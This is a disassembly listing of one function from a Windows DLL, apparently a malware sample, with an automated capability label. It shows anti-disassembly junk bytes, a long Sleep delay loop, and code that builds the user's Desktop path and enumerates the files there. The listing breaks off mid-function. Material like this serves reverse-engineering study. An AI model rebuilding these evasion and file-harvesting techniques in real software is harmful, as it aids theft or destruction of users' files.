Function at 0x18000e3d0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x6d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x640], xmm6
mov qword [rbp + 0x638], 0xfffffffffffffffe
cmp edx, 1
jne 0x180010223
xor eax, eax
test eax, eax
je 0x18000e417
jne 0x18000e40e
pop rsi
and eax, ebx
push rax
xor eax, ebx
je 0x18000e417
ror byte [rax - 0x73], 1
or eax, 0x4698c
lea rcx, [0x180054daa]
call fcn.180010cc0
mov ecx, 0x10
call fcn.180020d44
mov r15, rax
mov ecx, 0x18
call fcn.180020d44
mov rdi, rax
mov qword [r15], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi + 8], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi + 0x10], rax
mov ecx, 0x18
call fcn.180020d44
mov rdi, rax
mov qword [r15 + 8], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi + 8], rax
mov ecx, 0x10
call fcn.180020d44
mov qword [rdi + 0x10], rax
mov al, 1
xor r14d, r14d
lea rdi, [0x1800551fe]
xor ebx, ebx
mov qword [rbp + 0x628], r15
nop dword [rax + rax]
mov dword [rbp + 0x630], eax
mov rsi, qword [r15 + r14*8]
mov rax, qword [rsi]
mov dword [rax], r14d
mov ecx, r14d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi]
inc rbx
mov dword [rax + 4], ebx
mov ecx, ebx
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi]
lea r15d, [r14 + 2]
mov dword [rax + 8], r15d
mov ecx, r15d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi]
lea r12d, [r14 + 3]
mov dword [rax + 0xc], r12d
mov ecx, r12d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
call fcn.18000a400
mov rax, qword [rsi + 8]
mov dword [rax], ebx
mov ecx, ebx
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 8]
mov dword [rax + 4], r15d
mov ecx, r15d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 8]
mov dword [rax + 8], r12d
mov ecx, r12d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 8]
lea r13d, [r14 + 4]
mov dword [rax + 0xc], r13d
mov ecx, r13d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
call fcn.18000a400
mov rax, qword [rsi + 0x10]
mov dword [rax], r15d
mov ecx, r15d
mov r15, qword [rbp + 0x628]
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 0x10]
mov dword [rax + 4], r12d
mov ecx, r12d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 0x10]
mov dword [rax + 8], r13d
mov ecx, r13d
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
mov rax, qword [rsi + 0x10]
lea ecx, [r14 + 5]
mov dword [rax + 0xc], ecx
call fcn.180006b50
mov rcx, rdi
call fcn.180005810
call fcn.18000a400
call fcn.18000a400
mov r14, rbx
test byte [rbp + 0x630], 1
mov eax, 0
jne 0x18000e4c0
mov rsi, qword [r15]
mov rcx, qword [rsi]
test rcx, rcx
je 0x18000e62e
call fcn.180020d10
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x18000e63c
call fcn.180020d10
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x18000e64a
call fcn.180020d10
mov rsi, qword [r15 + 8]
mov rcx, qword [rsi]
test rcx, rcx
je 0x18000e65b
call fcn.180020d10
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x18000e669
call fcn.180020d10
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x18000e677
call fcn.180020d10
mov rcx, qword [r15]
test rcx, rcx
je 0x18000e684
call fcn.180020d10
mov rcx, qword [r15 + 8]
test rcx, rcx
je 0x18000e692
call fcn.180020d10
mov rcx, r15
call fcn.180020d10
call fcn.18002043c
mov rsi, rax
call fcn.180020420
cmp rsi, 0x989680
jne 0x1800102fe
imul rdx, rax, 0x64
movabs rbx, 0x6fc23ac00
add rbx, rdx
movabs r14, 0x7fffffffff67697f
movabs r13, 0x7fffffffffffffff
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
nop dword [rax]
call fcn.18002043c
mov rsi, rax
call fcn.180020420
cmp rsi, 0x989680
jne 0x18000e855
imul rdx, rax, 0x64
cmp rdx, rbx
jge 0x18000e9ad
call fcn.18002043c
mov rsi, rax
call fcn.180020420
cmp rsi, 0x989680
jne 0x18000e8ba
imul rdx, rax, 0x64
lea rdi, [rdx + 0x989680]
cmp rdx, r14
cmovge rdi, r13
jmp 0x18000e77a
mov rax, r8
imul r12
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x12
add rax, rdx
imul rdx, rax, 0xf4240
xor ecx, ecx
cmp rdx, r8
setl cl
add ecx, eax
call sub.KERNEL32.dll_Sleep
call fcn.18002043c
mov rsi, rax
call fcn.180020420
cmp rsi, 0x989680
jne 0x18000e7b1
imul rdx, rax, 0x64
mov r8, rdi
sub r8, rdx
jle 0x18000e6f0
cmp r8, r15
jl 0x18000e750
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x18000e77a
mov rcx, rax
cmp rsi, 0x16e3600
jne 0x18000e80f
movabs r9, 0xb2f4fc0794908cf3
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
jmp 0x18000e84d
or rcx, rsi
shr rcx, 0x20
je 0x18000e822
cqo
idiv rsi
mov rcx, rax
jmp 0x18000e828
xor edx, edx
div esi
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x18000e842
cqo
idiv rsi
jmp 0x18000e846
xor edx, edx
div esi
imul rdx, rcx, 0x3b9aca00
add rdx, rax
jmp 0x18000e794
mov rcx, rax
cmp rsi, 0x16e3600
jne 0x18000e91b
movabs r9, 0xb2f4fc0794908cf3
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
jmp 0x18000e96c
mov rcx, rax
cmp rsi, 0x16e3600
jne 0x18000e92e
movabs r9, 0xb2f4fc0794908cf3
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
jmp 0x18000e9a5
or rcx, rsi
shr rcx, 0x20
je 0x18000e941
cqo
idiv rsi
mov rcx, rax
jmp 0x18000e947
or rcx, rsi
shr rcx, 0x20
je 0x18000e97a
cqo
idiv rsi
mov rcx, rax
jmp 0x18000e980
xor edx, edx
div esi
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x18000e961
cqo
idiv rsi
jmp 0x18000e965
xor edx, edx
div esi
imul rdx, rcx, 0x3b9aca00
add rdx, rax
cmp rdx, rbx
jl 0x18000e717
jmp 0x18000e9ad
xor edx, edx
div esi
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x18000e99a
cqo
idiv rsi
jmp 0x18000e99e
xor edx, edx
div esi
imul rdx, rcx, 0x3b9aca00
add rdx, rax
jmp 0x18000e735
lea rsi, [rbp - 0x30]
mov ecx, 0x100
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmmword [rbp + 0x5c0], xmm0
mov rcx, rsi
call fcn.18002d550
test rax, rax
js 0x1800103b4
mov rsi, rax
cmp rax, 0xf
ja 0x18000ea1c
mov qword [rbp + 0x5c0], rsi
mov qword [rbp + 0x5c8], 0xf
lea rcx, [rbp + 0x5b0]
lea rdx, [rbp - 0x30]
mov r8, rsi
call fcn.180018550
mov byte [rbp + rsi + 0x5b0], 0
jmp 0x18000ea83
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rax, 0xfff
jb 0x18000ea4f
lea rcx, [rbx + 0x28]
call fcn.180020ccc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000ea5b
lea rcx, [rbx + 1]
call fcn.180020ccc
mov rdi, rax
mov qword [rbp + 0x5b0], rdi
mov qword [rbp + 0x5c0], rsi
mov qword [rbp + 0x5c8], rbx
lea rdx, [rbp - 0x30]
mov rcx, rdi
mov r8, rsi
call fcn.180018550
mov byte [rdi + rsi], 0
mov qword [rbp + 0x588], 0
mov cl, 1
call fcn.18001f6e4
mov qword [rbp + 0x5a8], rax
lea rcx, [rbp + 0x5d0]
xor edx, edx
call fcn.18001f1c0
mov rsi, qword [0x180065318]
mov rdi, qword [0x1800652c8]
test rdi, rdi
jne 0x18000eaf9
lea rcx, [rbp - 0x30]
xor edx, edx
call fcn.18001f1c0
cmp qword [0x1800652c8], 0
jne 0x18000eae9
movsxd rax, dword [0x1800629a0]
inc rax
mov dword [0x1800629a0], eax
mov qword [0x1800652c8], rax
lea rcx, [rbp - 0x30]
call fcn.18001f1fc
mov rdi, qword [0x1800652c8]
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x18], rdi
jbe 0x18000eb17
mov rcx, qword [rax + 0x10]
mov rbx, qword [rcx + rdi*8]
test rbx, rbx
jne 0x18000ed35
cmp byte [rax + 0x24], 0
je 0x18000eb39
call fcn.18001f7d8
cmp qword [rax + 0x18], rdi
jbe 0x18000eb39
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18000ed35
mov rbx, rsi
test rsi, rsi
jne 0x18000ed35
mov ecx, 0x20
call fcn.180020ccc
mov rbx, rax
mov rsi, qword [rbp + 0x5a8]
test rsi, rsi
mov qword [rbp + 0x630], rax
je 0x18000ebef
mov rax, qword [rsi + 0x28]
add rsi, 0x30
test rax, rax
cmovne rsi, rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmmword [rbp + 0x510], xmm0
mov rcx, rsi
call fcn.18002d550
test rax, rax
js 0x180010410
mov rdi, rax
cmp rax, 0x10
jae 0x18000ec1a
mov qword [rbp + 0x520], rdi
mov qword [rbp + 0x528], 0xf
lea rbx, [rbp + 0x510]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.180018550
mov byte [rbp + rdi + 0x510], 0
cmp qword [rbp + 0x528], 0x10
jb 0x18000ec84
mov rbx, qword [rbp + 0x510]
jmp 0x18000ec84
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x528], 0xf
lea rbx, [rbp + 0x510]
jmp 0x18000ec84
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp rax, 0xfff
jb 0x18000ec51
lea rcx, [r14 + 0x28]
call fcn.180020ccc
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000ec5d
lea rcx, [r14 + 1]
call fcn.180020ccc
mov rbx, rax
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x520], rdi
mov qword [rbp + 0x528], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.180018550
mov byte [rbx + rdi], 0
lea rcx, [rbp - 0x30]
mov rdx, rbx
call fcn.180006ff0
mov rsi, qword [rbp + 0x630]
mov dword [rsi + 8], 0
lea rax, vtable.std::collate_char_.0
mov qword [rsi], rax
lea rcx, [rbp + 0x4a8]
call fcn.180020160
mov eax, dword [rbp + 0x4a8]
mov dword [rsi + 0x10], eax
mov rax, qword [rbp + 0x4b0]
mov qword [rsi + 0x18], rax
lea rcx, [rbp - 0x30]
call fcn.180007150
mov rax, qword [rbp + 0x528]
cmp rax, 0x10
jb 0x18000ed16
mov rcx, qword [rbp + 0x510]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000ed11
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180020d10
mov rcx, rsi
call fcn.18001f41c
mov rbx, qword [rbp + 0x630]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180065318], rbx
lea r15, [rbp + 0x590]
lea rdi, [rbp + 0x5a0]
lea rcx, [rbp + 0x5d0]
call fcn.18001f1fc
mov qword [r15], rbx
mov rcx, rdi
call fcn.180009110
mov qword [rbp + 0x598], rax
lea rax, str.C:_A_Za_z0_9___
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, [0x180054825]
mov qword [rbp - 0x20], rax
xorps xmm6, xmm6
movups xmmword [rbp - 0x18], xmm6
movups xmmword [rbp - 8], xmm6
mov qword [rbp + 8], 0
mov ecx, 0x30
call fcn.180020ccc
mov dword [rax + 8], 0x14
movups xmmword [rax + 0xc], xmm6
mov dword [rax + 0x1c], 0
lea rcx, vtable.std::_Root_node.0
mov qword [rax], rcx
movups xmmword [rax + 0x20], xmm6
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x20], 1
mov qword [rbp + 0x28], r15
movabs rax, 0x400000100
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r15
mov dword [rbp + 0x40], 1
mov dword [rbp + 0x50], 0x8775dfb
lea rcx, [rbp - 0x30]
call fcn.18000a6e0
mov ecx, 0x28
call fcn.180020ccc
mov rbx, rax
mov dword [rax + 8], 0xd
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_capture.0
mov qword [rbx], rax
mov dword [rbx + 0x20], 0
mov rax, qword [rbp + 0x18]
mov qword [rbx + 0x18], rax
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x18000ee41
mov qword [rbx + 0x10], rcx
mov qword [rcx + 0x18], rbx
mov qword [rax + 0x10], rbx
mov qword [rbp + 0x18], rbx
lea rdi, [rbp - 0x30]
mov rcx, rdi
call fcn.18000a920
mov rax, qword [rbp - 0x30]
cmp rax, qword [rbp - 0x20]
jne 0x1800103b9
mov eax, dword [rbx + 8]
cmp eax, 8
je 0x18000ee7c
cmp eax, 0xa
je 0x18000ee75
cmp eax, 0xb
jne 0x18000ee83
mov esi, 0xc
jmp 0x18000ee88
mov esi, 9
jmp 0x18000ee88
mov esi, 0xe
mov ecx, 0x28
call fcn.180020ccc
mov r14, rax
mov dword [rax + 8], esi
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_end_group.0
mov qword [r14], rax
mov qword [r14 + 0x20], rbx
mov rax, qword [rbp + 0x18]
mov qword [r14 + 0x18], rax
mov rsi, qword [rax + 0x10]
test rsi, rsi
je 0x18000eece
mov qword [r14 + 0x10], rsi
mov qword [rsi + 0x18], r14
mov qword [rax + 0x10], r14
mov qword [rbp + 0x18], r14
mov ecx, 0x20
call fcn.180020ccc
lea rcx, vtable.std::_Node_base.0
mov qword [rax], rcx
mov dword [rax + 8], 0x15
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov qword [rax + 0x18], r14
test rsi, rsi
je 0x18000ef11
mov qword [rax + 0x10], rsi
mov qword [rsi + 0x18], rax
mov qword [r14 + 0x10], rax
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov rbx, qword [rax]
mov eax, dword [rbp + 0x40]
mov dword [rbx + 0x20], eax
mov eax, dword [rbp - 0x18]
inc eax
mov dword [rbx + 0x28], eax
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call fcn.18000ac80
lock inc dword [rbx + 0x2c]
mov rax, qword [rbp + 0x588]
test rax, rax
je 0x18000ef7e
lock dec dword [rax + 0x2c]
jne 0x18000ef7e
mov rcx, qword [rbp + 0x588]
test rcx, rcx
je 0x18000ef7e
nop dword [rax]
mov rax, qword [rcx]
mov rsi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rsi
test rsi, rsi
jne 0x18000ef60
mov qword [rbp + 0x588], rbx
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x18000efc6
mov rdx, qword [rbp]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000efba
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1800103af
add rdx, 0x27
mov rcx, rax
call fcn.180020d10
mov rbx, qword [rbp + 0x588]
test rbx, rbx
je 0x18000f2a4
cmp qword [rbp + 0x5c8], 0x10
jb 0x18000efe2
mov rax, qword [rbp + 0x5b0]
jmp 0x18000efe9
lea rax, [rbp + 0x5b0]
mov rcx, qword [rbp + 0x5c0]
add rcx, rax
mov r8d, dword [rbx + 0x20]
mov edx, dword [rbx + 0x28]
pxor xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rbp - 0x18], xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp + 8], 0
movdqu xmmword [rbp + 0x18], xmm0
movdqu xmmword [rbp + 0x28], xmm0
movdqu xmmword [rbp + 0x38], xmm0
movdqu xmmword [rbp + 0x48], xmm0
movdqu xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], rbx
mov dword [rbp + 0x88], r8d
mov dword [rbp + 0x8c], 0x10
mov byte [rbp + 0x90], 0
mov dword [rbp + 0x94], edx
mov byte [rbp + 0x98], 0
mov qword [rbp + 0xa0], r15
mov ebx, dword [rbx + 0x24]
test rbx, rbx
je 0x18000f11b
mov eax, ebx
shl rbx, 4
cmp eax, 0x100
jb 0x18000f09c
lea rcx, [rbx + 0x27]
call fcn.180020ccc
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18000f0a7
mov rcx, rbx
call fcn.180020ccc
mov r14, rax
mov rcx, r14
xor edx, edx
mov r8, rbx
call fcn.180018620
mov r8, qword [rbp + 0x58]
lea rsi, [rbp + 0x50]
mov rdx, qword [rsi]
sub r8, rdx
mov rcx, r14
call fcn.180045e60
mov rcx, qword [rsi]
test rcx, rcx
je 0x18000f103
mov rdx, qword [rbp + 0x60]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000f0fe
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1800103af
add rdx, 0x27
mov rcx, rax
call fcn.180020d10
mov qword [rsi], r14
add rbx, r14
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], rbx
mov rax, qword [rbp + 0x78]
mov edx, dword [rbp + 0x94]
lea rcx, [rbp - 0x28]
mov qword [rbp + 0x68], rax
mov qword [rbp - 0x30], rax
mov edx, edx
call fcn.18000da50
mov esi, dword [rbp + 0x94]
mov rax, qword [rbp - 8]
mov rbx, qword [rbp]
mov r12, rbx
sub r12, rax
sar r12, 4
mov r14, rsi
sub r14, r12
jae 0x18000f15e
shl rsi, 4
add rax, rsi
mov qword [rbp], rax
jmp 0x18000f250
jbe 0x18000f250
mov rcx, qword [rbp + 8]
sub rcx, rax
sar rcx, 4
cmp rcx, rsi
jae 0x18000f1ad
mov rax, rcx
shr rax, 1
add rax, rcx
cmp rax, rsi
cmovbe rax, rsi
mov rbx, rax
shl rbx, 4
cmp rax, 0x100
jb 0x18000f1ca
lea rcx, [rbx + 0x27]
call fcn.180020ccc
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x18000f1d5
shl r14, 4
mov rcx, rbx
xor edx, edx
mov r8, r14
call fcn.180018620
add r14, rbx
mov qword [rbp], r14
jmp 0x18000f250
mov rcx, rbx
call fcn.180020ccc
mov r15, rax
shl r12, 4
add r12, r15
shl r14, 4
mov rcx, r12
xor edx, edx
mov r8, r14
call fcn.180018620
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
sub r8, rdx
mov rcx, r15
call fcn.180045e60
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x18000f23a
mov rdx, qword [rbp + 8]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000f235
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1800103af
add rdx, 0x27
mov rcx, rax
call fcn.180020d10
mov qword [rbp - 8], r15
shl rsi, 4
add rsi, r15
mov qword [rbp], rsi
add rbx, r15
mov qword [rbp + 8], rbx
mov byte [rbp + 0xa8], 1
movabs rax, 0x25800989680
mov qword [rbp + 0xac], rax
mov word [rbp + 0x90], 0
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp - 0x30]
call fcn.180010de0
mov ebx, eax
lea rcx, [rbp - 0x30]
call fcn.180011960
test bl, bl
je 0x18000f2a4
pop rax
push rbx
je 0x18000f296
je 0x18000f29b
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
jmp 0x18000f2ae
mov ecx, 0x31
call fcn.18002bf90
jmp 0x18000f2b3
call 0x18000f2b1
jne 0x18000f2bc
jmp 0x18d8e3bac
lea rcx, str.USERNAME
call fcn.18002c8a0
mov r14, rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x5d0], xmm0
movdqa xmmword [rbp + 0x5e0], xmm0
mov rcx, rax
call fcn.18002d550
test rax, rax
js 0x1800103c3
mov rbx, rax
cmp rax, 0xf
ja 0x18000f32e
mov qword [rbp + 0x5e0], rbx
mov qword [rbp + 0x5e8], 0xf
lea rcx, [rbp + 0x5d0]
mov rdx, r14
mov r8, rbx
call fcn.180018550
mov byte [rbp + rbx + 0x5d0], 0
mov rbx, qword [rbp + 0x5e0]
jmp 0x18000f398
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rax, 0xfff
jb 0x18000f364
lea rcx, [rsi + 0x28]
call fcn.180020ccc
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x18000f370
lea rcx, [rsi + 1]
call fcn.180020ccc
mov r15, rax
mov qword [rbp + 0x5d0], r15
mov qword [rbp + 0x5e0], rbx
mov qword [rbp + 0x5e8], rsi
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.180018550
mov byte [r15 + rbx], 0
movabs rax, 0x7ffffffffffffff7
cmp rbx, rax
jge 0x1800103c8
mov rsi, qword [rbp + 0x5d0]
mov r14, qword [rbp + 0x5e8]
pxor xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm0
lea r15, [rbx + 9]
mov r12d, 0xf
cmp r15, 0x10
jb 0x18000f429
mov r12, r13
cmp rbx, 0xfffffffffffffff7
jl 0x18000f3fd
mov rax, r15
or rax, 0xf
cmp rax, 0x17
mov r12d, 0x16
cmovae r12, rax
cmp rax, 0xfff
jb 0x18000f418
lea rcx, [r12 + 0x28]
call fcn.180020ccc
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000f425
lea rcx, [r12 + 1]
call fcn.180020ccc
mov rdi, rax
mov qword [rbp - 0x30], rdi
cmp r14, 0x10
lea rdx, [rbp + 0x5d0]
cmovae rdx, rsi
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
movabs rax, 0x73726573555c3a43
mov qword [rdi], rax
mov byte [rdi + 8], 0x5c
lea rcx, [rdi + 9]
mov r8, rbx
call fcn.180018550
mov byte [rdi + rbx + 9], 0
lea rdx, str.Desktop_
lea rcx, [rbp - 0x30]
mov r8d, 9
call fcn.1800066e0
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rbp + 0x500], xmm1
movdqa xmmword [rbp + 0x4f0], xmm0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rax, qword [rbp - 0x18]
cmp rax, 0x10
jb 0x18000f4e3
mov rcx, qword [rbp - 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000f4de
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180020d10
mov rsi, qword [rbp + 0x500]
cmp qword [rbp + 0x508], 0x10
jb 0x18000f4fd
mov rdi, qword [rbp + 0x4f0]
jmp 0x18000f504
lea rdi, [rbp + 0x4f0]
call fcn.180020af0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x618], 7
test rsi, rsi
je 0x18000f66c
mov ebx, eax
mov rax, rsi
shr rax, 0x1f
jne 0x1800103e9
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov rdx, rdi
mov r8d, esi
xor r9d, r9d
call fcn.180020b18
mov rcx, rax
shr rcx, 0x20
jne 0x1800103ee
mov r15d, eax
shl rax, 0x20
movsxd r12, r15d
je 0x18000f5c9
cmp r12, 7
jbe 0x18000f5e4
cmp r12, r13
jae 0x1800103fa
mov qword [rbp + 0x630], rax
mov rax, r12
or rax, 7
cmp rax, 0xb
mov r13d, 0xa
cmovae r13, rax
lea rcx, [r13*2]
cmp rax, 0x7ff
jb 0x18000f610
add rcx, 0x29
call fcn.180020ccc
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18000f61c
mov qword [rbp + 0x610], r12
mov word [rbp + r12*2 + 0x600], 0
lea r14, [rbp + 0x600]
jmp 0x18000f64d
mov qword [rbp + 0x610], r12
sar rax, 0x1f
lea r14, [rbp + 0x600]
mov rcx, r14
xor edx, edx
mov r8, rax
call fcn.180018620
mov word [rbp + r12*2 + 0x600], 0
jmp 0x18000f64d
add rcx, 2
call fcn.180020ccc
mov r14, rax
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], r13
mov r8, qword [rbp + 0x630]
sar r8, 0x1f
mov rcx, r14
xor edx, edx
call fcn.180018620
mov word [r14 + r12*2], 0
mov qword [rbp + 0x600], r14
mov dword [rsp + 0x20], r15d
mov ecx, ebx
mov rdx, rdi
mov r8d, esi
mov r9, r14
call fcn.180020b18
shr rax, 0x20
jne 0x1800103f3
mov qword [rbp + 0x5f8], 0
lea rdi, [rbp - 0x30]
lea rdx, [rbp + 0x600]
mov rcx, rdi
call fcn.180011c30
mov qword [rbp - 0x10], 0xffffffffffffffff
cmp qword [rbp - 0x18], 8
jb 0x18000f69d
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call fcn.18002e45c
mov ebx, 2
test rax, rax
je 0x18000f95d
cmp rax, qword [rbp - 0x20]
jne 0x18000f95d
lea r14, [rbp + 0x4a8]
lea rdx, [rbp - 0x30]
mov rcx, r14
call fcn.180011c30
lea rdx, [0x180055330]
lea rcx, [rbp + 0x510]
mov r8d, 1
call fcn.180011d20
lea rbx, [rbp - 0x30]
lea rdx, [rbp + 0x510]
mov rcx, rbx
call fcn.180011e20
mov rax, qword [rbp + 0x528]
cmp rax, 8
jb 0x18000f748
mov rcx, qword [rbp + 0x510]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000f743
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180020d10
lea rdx, [rbp - 0x10]
lea rdi, [rbp - 8]
cmp qword [rbp - 0x18], 8
jb 0x18000f75b
mov rbx, qword [rbp - 0x30]
mov rcx, rbx
mov r8, rdi
call fcn.18002070c
cmp eax, 5
je 0x18000f862
mov ebx, eax
cmp eax, 2
je 0x18000f7cd
test ebx, ebx
jne 0x18000f8ef
mov r14, qword [rbp - 0x10]
jmp 0x18000f7a3
mov rcx, r14
mov rdx, rdi
call fcn.180020ad0
test eax, eax
jne 0x18000f87a
xor ebx, ebx
cmp word [rbp + 0x24], 0x2e
jne 0x18000f8ef
movzx eax, word [rbp + 0x26]
test eax, eax
je 0x18000f790
cmp eax, 0x2e
jne 0x18000f8ef
cmp word [rbp + 0x28], 0
je 0x18000f790
jmp 0x18000f8ef
mov eax, dword [0x1800652f0]
mov ecx, dword [0x180062e98]
mov rdx, qword gs:[0x58]
